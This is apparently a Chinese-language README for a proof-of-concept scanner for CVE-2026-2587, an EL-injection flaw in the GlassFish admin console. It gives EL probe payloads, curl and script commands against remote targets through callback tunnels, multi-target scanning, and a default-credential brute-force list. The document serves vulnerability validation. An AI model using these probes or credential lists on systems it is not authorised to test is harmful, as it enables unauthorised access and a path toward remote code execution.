如果 XML 在 `<ModulePrefs title="">` 属性中包含 `#{7*7}`，GlassFish 会在服务器端对其求值并返回 `49`——从而确认 EL 表达式执行。随后可通过 EL 对 Java 运行时的访问实现完整的 RCE 链。

当前公开的公告记录并未公布受影响或已修补的版本边界。因此，此验证器采用“先证明”原则：它会对 GlassFish 进行指纹识别并报告版本元数据，但不会仅凭版本字符串将目标分类为易受攻击。

---

## 工作原理

![CVE-2026-2587 的安全验证工作流程](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

安全验证路径会托管一个良性的 XML 探测文件，向 `gadget.jsf` 发送经身份验证的管理控制台请求，让 GlassFish 从回调 URL 获取该 XML，并检查 `<ModulePrefs title="">` 探针是否从 `#{7*7}` 求值为 `49`。

**注入点已确认 vs. 未确认：**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

**仓库内容：**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

启动 GlassFish 7.0.15，仅将端口绑定到 `127.0.0.1`，并预配置 `host.docker.internal`，以便容器能够访问本地 XML 服务器。

### 选项 B — 直接使用 docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

从容器的视角验证可达性：```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **存在漏洞** — 在 `ModulePrefs title` 中评估了 EL |
| `CVE2587_BODY_49_END` | **存在漏洞** — 在 CDATA body 中评估了 EL |
| `CVE2587_TITLE_#{7*7}_END` | 不存在漏洞 / 未评估 EL |
| *(no output)* | GlassFish 从未获取 XML — 检查回调可达性 |

> 通常即使在存在漏洞的构建中，CDATA body 也保持原始状态；仅凭正的 `TITLE` 结果就足以确认发现。

---

### 针对本地实验室的自动验证```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

写入文件后的输出：```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

> `host.docker.internal` 在 Docker 内部解析为主机。
> GlassFish 容器通过此地址获取您的探针 XML。

---

### 凭据```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

如果找到有效的凭证对，则将其打印在输出中并记录到 CSV 的 `brute_creds` 列。如果所有凭证对均失败，扫描将以 `AUTH_REQUIRED` 状态退出。

某些 GlassFish 版本在有效表单 POST 后会返回 `/login.jsf`。验证器不会单独将该 URL 视为失败；它通过探测管理小工具端点并检查响应是否不是登录表单来确认会话。

尝试的凭证列表（按顺序）：

| 用户名 | 密码 |
|---|---|
| `admin` | `admin` |
| `admin` | *(空)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### 通过 Cloudflare Tunnel 远程访问

无需账户即可快速创建隧道。

**步骤 1 — 安装 cloudflared：**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

**步骤 3 — 运行验证器：**

对回调 URL 使用相同生成的主机名，并加上 `http://`。这可以避免 GlassFish 实验室容器中因无法验证 Cloudflare TLS 证书链而导致的 JVM 信任库故障。如果你粘贴生成的 `https://` trycloudflare URL，验证器会将该回调重写为 `http://` 并打印一条警告。尾部斜杠是可选的；验证器会自动附加 `/canary.xml` 以及每个测试的 XML 路径。```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

> `--prefix`、`--left`、`--right` 必须与你托管的 XML 文件中的值匹配，这样脚本才知道要在响应中查找哪个已评估的令牌。

---

### 通过 ngrok 远程访问（最后手段）

仅将 ngrok 作为远程目标的最后选项。免费版可能会通过返回一个中间 HTML 警告页面来阻止非浏览器发起的服务器端请求。在这种情况下，GlassFish 会获取警告页面而不是你的 `probe.xml`，验证器可能会将响应归类为登录页面或不确定的结果。建议优先使用 Cloudflare Tunnel、VPS 或静态 Web 主机，以便目标 JVM 能够干净地获取，除非你拥有绕过此限制的付费 ngrok 账户。

**步骤 1 — 安装 ngrok：**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

**步骤 3 — 运行验证器：**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## 用法 — 多目标

### 目标文件格式

仓库中包含 `targets.txt.example` 作为模板。复制并编辑它：```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

对所有目标运行：```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

> 推荐线程数：
> - 本地实验室：最多 `10`
> - 通过互联网的远程目标：`3–5`（遵守速率限制）
> - 单个目标：`1`（默认）

---

## 输出格式

### 控制台

默认人类可读输出。添加 `--verbose` 可查看每个测试用例的结果。```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

### JSON```bash
--json

Multiple targets returns a JSON array.

---

### 组合输出

所有输出格式都是独立的——可以自由组合：```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

它也通过重定向的 `Location` 头部学习非默认的 GUI 上下文根，并在测试前将该根作为前缀。只有当你想覆盖此发现列表时，才使用可重复的 `--path` 值。

版本检测通过响应头部、管理 REST API、登录页面以及在成功登录后的 `/__asadmin/version.json` 或 `/__asadmin/version` 进行。版本数据仅用于改进路由和报告；扫描器将 `version_affected` 保持为 `UNKNOWN`，直到公开的公告记录发布版本边界。

---

### 自定义金丝雀值

使用 `--prefix`、`--left`、`--right` 将验证器与手工制作的 XML 匹配。当使用 `--xml-url` 及你自己托管的文件时需要。```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## 测试用例

验证器运行 10 个独立的 EL 探测，每个确认一种不同的能力：

| # | 有效载荷 | 预期结果 | 验证内容 |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | 基础算术金丝雀测试 |
| TC-02 | `#{1337+2587}` | `3924` | 加法运算符 |
| TC-03 | `#{31337*271}` | `8492327` | 抗冲突的大数乘法 |
| TC-04 | `#{9999-1337}` | `8662` | 减法运算符 |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | 嵌套括号 / 运算符优先级 |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | 条件 / 三元运算符 —— 控制流被执行 |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | 字符串方法访问 |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | 链式方法调用 |
| TC-09 | `#{17 mod 5}` | `2` | EL 关键字运算符 |
| TC-10 | `#{100*100}` | `10000` | 额外算术确认 |

TC-06、TC-07 和 TC-08 最为关键 —— 通过这些意味着 EL 引擎执行了**字符串 API 方法和条件逻辑**，这是通往完整 RCE 链的直接前奏。

---

## 输出解释

| 状态 | 含义 |
|---|---|
| `VULNERABLE` | EL 表达式已被求值 —— 确认实例受影响 |
| `VULNERABLE_UNAUTH` | 端点未经验证暴露 —— 比基础 CVE 更严重 |
| `NOT_VULNERABLE` | 表达式被原样反射 —— EL 未求值 |
| `AUTH_REQUIRED` | 端点返回登录页面 —— 检查 cookie 或凭据 |
| `INCONCLUSIVE` | 收到响应，但未找到金丝雀 —— 见下文 |
| `ERROR` | 请求失败 —— 网络 / TLS 问题 |

`detected_version` 和 `version_source` 是辅助上下文。由于公开公告目前将受影响和已修补版本列为未知，请不要将 `version_affected=UNKNOWN` 视为否定结果。唯一肯定性发现是已求值的证明令牌。

**INCONCLUSIVE 故障排查：**

| 症状 | 原因 | 修复 |
|---|---|---|
| `XML hits: 0` | GlassFish 从未获取到您的 XML | `--callback-url` 从目标不可达 |
| `XML hits: 1+` 但无匹配 | EL 已求值但字段错误 | 对 CDATA 内容属于预期行为 |
| 运行中认证重定向 | 会话过期 | 从浏览器获取新的 `JSESSIONID` |
| 登录 POST 重定向到 `j_security_check` | 密码错误 | 改用 `--cookie` |

---

## 手动验证

无需 Python：```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>